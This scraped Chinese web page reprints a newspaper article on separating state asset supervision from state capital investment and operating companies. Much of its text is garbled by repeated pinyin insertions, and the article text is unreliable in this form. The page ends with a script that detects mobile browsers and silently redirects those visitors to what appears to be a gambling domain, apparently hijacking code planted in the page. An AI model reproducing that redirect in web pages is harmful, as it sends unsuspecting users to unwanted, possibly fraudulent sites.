  国(guo)(guo)(guo)务院代表国(guo)(guo)(guo)家行(xing)使国(guo)(guo)(guo)有(you)(you)(you)(you)资(zi)(zi)(zi)产所有(you)(you)(you)(you)权,负(fu)(fu)责(ze)监督(du)指导国(guo)(guo)(guo)资(zi)(zi)(zi)监管部(bu)门(men)和(he)财政部(bu)门(men)依法履行(xing)国(guo)(guo)(guo)有(you)(you)(you)(you)资(zi)(zi)(zi)产监管管理(li)职(zhi)能,审核国(guo)(guo)(guo)有(you)(you)(you)(you)资(zi)(zi)(zi)本(ben)(ben)投(tou)(tou)(tou)资(zi)(zi)(zi)运营规(gui)划、国(guo)(guo)(guo)有(you)(you)(you)(you)资(zi)(zi)(zi)本(ben)(ben)投(tou)(tou)(tou)资(zi)(zi)(zi)经营预算,授权国(guo)(guo)(guo)有(you)(you)(you)(you)资(zi)(zi)(zi)本(ben)(ben)投(tou)(tou)(tou)资(zi)(zi)(zi)运营公司履行(xing)出资(zi)(zi)(zi)人(ren)代表职(zhi)责(ze),任(ren)免国(guo)(guo)(guo)有(you)(you)(you)(you)资(zi)(zi)(zi)本(ben)(ben)投(tou)(tou)(tou)资(zi)(zi)(zi)运营公司主要负(fu)(fu)责(ze)人(ren),考核国(guo)(guo)(guo)资(zi)(zi)(zi)监管部(bu)门(men)、国(guo)(guo)(guo)有(you)(you)(you)(you)资(zi)(zi)(zi)本(ben)(ben)投(tou)(tou)(tou)资(zi)(zi)(zi)运营公司及其(qi)主要负(fu)(fu)责(ze)人(ren)经营业(ye)绩,定期向全国(guo)(guo)(guo)人(ren)大报告国(guo)(guo)(guo)有(you)(you)(you)(you)资(zi)(zi)(zi)本(ben)(ben)投(tou)(tou)(tou)资(zi)(zi)(zi)运营和(he)国(guo)(guo)(guo)有(you)(you)(you)(you)资(zi)(zi)(zi)本(ben)(ben)经营预算执(zhi)行(xing)情况。

  财政部门负责国(guo)(guo)有资(zi)(zi)(zi)本(ben)(ben)预(yu)(yu)算(suan)(suan)政策、预(yu)(yu)算(suan)(suan)编制和(he)预(yu)(yu)算(suan)(suan)信息的公(gong)开,优(you)化国(guo)(guo)有资(zi)(zi)(zi)本(ben)(ben)收(shou)益分配(pei)和(he)投资(zi)(zi)(zi)结(jie)构,并报(bao)(bao)国(guo)(guo)务(wu)院和(he)人大审(shen)批,指导(dao)国(guo)(guo)有资(zi)(zi)(zi)本(ben)(ben)投资(zi)(zi)(zi)运营(ying)公(gong)司编制国(guo)(guo)有资(zi)(zi)(zi)本(ben)(ben)经(jing)营(ying)预(yu)(yu)算(suan)(suan),监督预(yu)(yu)算(suan)(suan)实施,定(ding)期对国(guo)(guo)有资(zi)(zi)(zi)本(ben)(ben)投资(zi)(zi)(zi)运营(ying)公(gong)司资(zi)(zi)(zi)本(ben)(ben)预(yu)(yu)算(suan)(suan)执行情况进行专项审(shen)计,定(ding)期向国(guo)(guo)务(wu)院和(he)全国(guo)(guo)人大报(bao)(bao)告国(guo)(guo)有资(zi)(zi)(zi)本(ben)(ben)经(jing)营(ying)预(yu)(yu)算(suan)(suan)执行情况,确保(bao)国(guo)(guo)有资(zi)(zi)(zi)本(ben)(ben)经(jing)营(ying)预(yu)(yu)算(suan)(suan)公(gong)开、透明。

  国(guo)(guo)资(zi)(zi)(zi)(zi)监(jian)(jian)管(guan)部(bu)门专职(zhi)履行国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)本(ben)(ben)监(jian)(jian)管(guan)职(zhi)能(neng),负(fu)责起草与制(zhi)定国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)产监(jian)(jian)管(guan)相关法律(lv)、法规(gui)和(he)制(zhi)度,并(bing)进行相应监(jian)(jian)管(guan),制(zhi)定国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)本(ben)(ben)投(tou)资(zi)(zi)(zi)(zi)运(yun)行规(gui)划,明确国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)本(ben)(ben)投(tou)向和(he)投(tou)资(zi)(zi)(zi)(zi)运(yun)营(ying)目标(biao),报国(guo)(guo)务(wu)院批准并(bing)组织(zhi)落实,参(can)与编(bian)制(zhi)国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)本(ben)(ben)经(jing)营(ying)预算,准确界定不(bu)同国(guo)(guo)有(you)(you)企业功(gong)能(neng),指导国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)本(ben)(ben)投(tou)资(zi)(zi)(zi)(zi)运(yun)营(ying)公(gong)司编(bian)制(zhi)所管(guan)国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)本(ben)(ben)投(tou)资(zi)(zi)(zi)(zi)运(yun)营(ying)规(gui)划,监(jian)(jian)督投(tou)资(zi)(zi)(zi)(zi)运(yun)营(ying)公(gong)司落实规(gui)划,定期向国(guo)(guo)务(wu)院报告国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)本(ben)(ben)投(tou)资(zi)(zi)(zi)(zi)运(yun)营(ying)情(qing)况,协助国(guo)(guo)务(wu)院考核国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)本(ben)(ben)投(tou)资(zi)(zi)(zi)(zi)运(yun)营(ying)公(gong)司及(ji)其主(zhu)要负(fu)责人(ren)经(jing)营(ying)业绩,确保国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)本(ben)(ben)投(tou)资(zi)(zi)(zi)(zi)经(jing)营(ying)服务(wu)于(yu)国(guo)(guo)家战略目标(biao)。

  第二(er),构(gou)建(jian)国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)(zi)本(ben)投(tou)资(zi)(zi)(zi)(zi)(zi)运营(ying)平(ping)(ping)台(tai)。通过设立国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)(zi)本(ben)投(tou)资(zi)(zi)(zi)(zi)(zi)或运营(ying)公(gong)司(si),搭建(jian)国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)(zi)本(ben)投(tou)资(zi)(zi)(zi)(zi)(zi)运营(ying)平(ping)(ping)台(tai)和经(jing)营(ying)管理(li)平(ping)(ping)台(tai),确保(bao)实(shi)现国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)(zi)本(ben)服务于国(guo)(guo)家战略的(de)投(tou)资(zi)(zi)(zi)(zi)(zi)运营(ying)目(mu)标。国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)(zi)本(ben)投(tou)资(zi)(zi)(zi)(zi)(zi)公(gong)司(si)、运营(ying)公(gong)司(si)可(ke)通过国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)(zi)本(ben)布局结构(gou)调整、国(guo)(guo)有(you)(you)企业整合(he)重组(zu)来(lai)组(zu)建(jian)。代表各级政(zheng)府履行(xing)出资(zi)(zi)(zi)(zi)(zi)人职责(ze)的(de)国(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)(zi)产监督管理(li)委员(yuan)会可(ke)对其行(xing)使出资(zi)(zi)(zi)(zi)(zi)人职责(ze)的(de)一级集团公(gong)司(si)及其二(er)级企业依据功能类别进行(xing)整合(he)重组(zu),组(zu)建(jian)若(ruo)干(gan)个履行(xing)管资(zi)(zi)(zi)(zi)(zi)本(ben)职能并专门从事投(tou)资(zi)(zi)(zi)(zi)(zi)和资(zi)(zi)(zi)(zi)(zi)本(ben)运营(ying)的(de)投(tou)资(zi)(zi)(zi)(zi)(zi)平(ping)(ping)台(tai)。

  第(di)三,充分保障企(qi)业(ye)经营自主权。推动政府经济社会管(guan)理职(zhi)(zhi)能与国有资(zi)产(chan)监管(guan)职(zhi)(zhi)能分开。以管(guan)资(zi)本为主完(wan)善国有资(zi)产(chan)管(guan)理体制(zhi)、加强国有资(zi)产(chan)监管(guan),必须积极转变政府职(zhi)(zhi)能。

  推动国(guo)(guo)有(you)(you)资(zi)(zi)产(chan)(chan)监管(guan)(guan)职(zhi)能(neng)(neng)与(yu)企(qi)(qi)(qi)业(ye)出资(zi)(zi)人(ren)职(zhi)能(neng)(neng)分(fen)开(kai)。以管(guan)(guan)资(zi)(zi)本(ben)为(wei)主加强国(guo)(guo)有(you)(you)资(zi)(zi)产(chan)(chan)监管(guan)(guan),就要逐步把(ba)国(guo)(guo)有(you)(you)资(zi)(zi)产(chan)(chan)监管(guan)(guan)职(zhi)能(neng)(neng)与(yu)国(guo)(guo)有(you)(you)企(qi)(qi)(qi)业(ye)出资(zi)(zi)人(ren)职(zhi)能(neng)(neng)分(fen)开(kai),国(guo)(guo)有(you)(you)资(zi)(zi)产(chan)(chan)监管(guan)(guan)机构专注于国(guo)(guo)有(you)(you)资(zi)(zi)本(ben)经营战(zhan)略(lve)制定、国(guo)(guo)有(you)(you)资(zi)(zi)本(ben)出资(zi)(zi)人(ren)监管(guan)(guan)和(he)国(guo)(guo)有(you)(you)资(zi)(zi)本(ben)运营绩效考核,确(que)保国(guo)(guo)有(you)(you)资(zi)(zi)本(ben)投资(zi)(zi)运营服务(wu)于国(guo)(guo)家战(zhan)略(lve)目标。而国(guo)(guo)有(you)(you)企(qi)(qi)(qi)业(ye)出资(zi)(zi)人(ren)职(zhi)能(neng)(neng)包括资(zi)(zi)产(chan)(chan)收益、重大决策和(he)选(xuan)择管(guan)(guan)理者等(deng),则应完全由授权的(de)投资(zi)(zi)机构、专业(ye)化的(de)资(zi)(zi)本(ben)投资(zi)(zi)运营公司(si)来(lai)承担(dan)。

  推动企业(ye)(ye)出资(zi)(zi)(zi)(zi)人(ren)职(zhi)能与企业(ye)(ye)经(jing)营管理(li)(li)职(zhi)能分开(kai)。国(guo)有资(zi)(zi)(zi)(zi)本(ben)投(tou)资(zi)(zi)(zi)(zi)运营公(gong)司(si)要准确把握(wo)出资(zi)(zi)(zi)(zi)人(ren)的(de)(de)职(zhi)能定位,抓(zhua)住产权,下(xia)放事权,依法(fa)保(bao)障国(guo)有资(zi)(zi)(zi)(zi)本(ben)出资(zi)(zi)(zi)(zi)企业(ye)(ye)的(de)(de)法(fa)人(ren)主体地(di)位,尊(zun)重企业(ye)(ye)自主决策权,遵循(xun)企业(ye)(ye)发展规(gui)律,以资(zi)(zi)(zi)(zi)本(ben)管理(li)(li)为纽带,加(jia)(jia)强(qiang)企业(ye)(ye)顶(ding)层设计,加(jia)(jia)强(qiang)重大事项(xiang)管理(li)(li),重点(dian)管好战略规(gui)划,优化资(zi)(zi)(zi)(zi)源(yuan)配(pei)置(zhi),完善资(zi)(zi)(zi)(zi)本(ben)预(yu)算和公(gong)司(si)治(zhi)理(li)(li)。要围绕“资(zi)(zi)(zi)(zi)本(ben)、资(zi)(zi)(zi)(zi)产、资(zi)(zi)(zi)(zi)金”三个重点(dian),加(jia)(jia)强(qiang)国(guo)有资(zi)(zi)(zi)(zi)本(ben)出资(zi)(zi)(zi)(zi)企业(ye)(ye)监管,改善国(guo)有资(zi)(zi)(zi)(zi)本(ben)的(de)(de)分布结构和质(zhi)量效(xiao)益,实现国(guo)有资(zi)(zi)(zi)(zi)本(ben)的(de)(de)保(bao)值增(zeng)值。(来源(yuan):经(jing)济参考报)


网站地图 | 友情链接 | 法律声明 | 联系我们 信访邮箱 帮助中心

电话:+86(10)88083699 传真:+86(10)88084266 E-MAIL:cscecfc@chatnur.com
地址:北京市海淀区三里河路15号中建大厦A座15层 邮编:100037 ICP许可证编号:京ICP备12023645号
推荐显示器分辨率1024*768 IE8.0以上浏览器

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();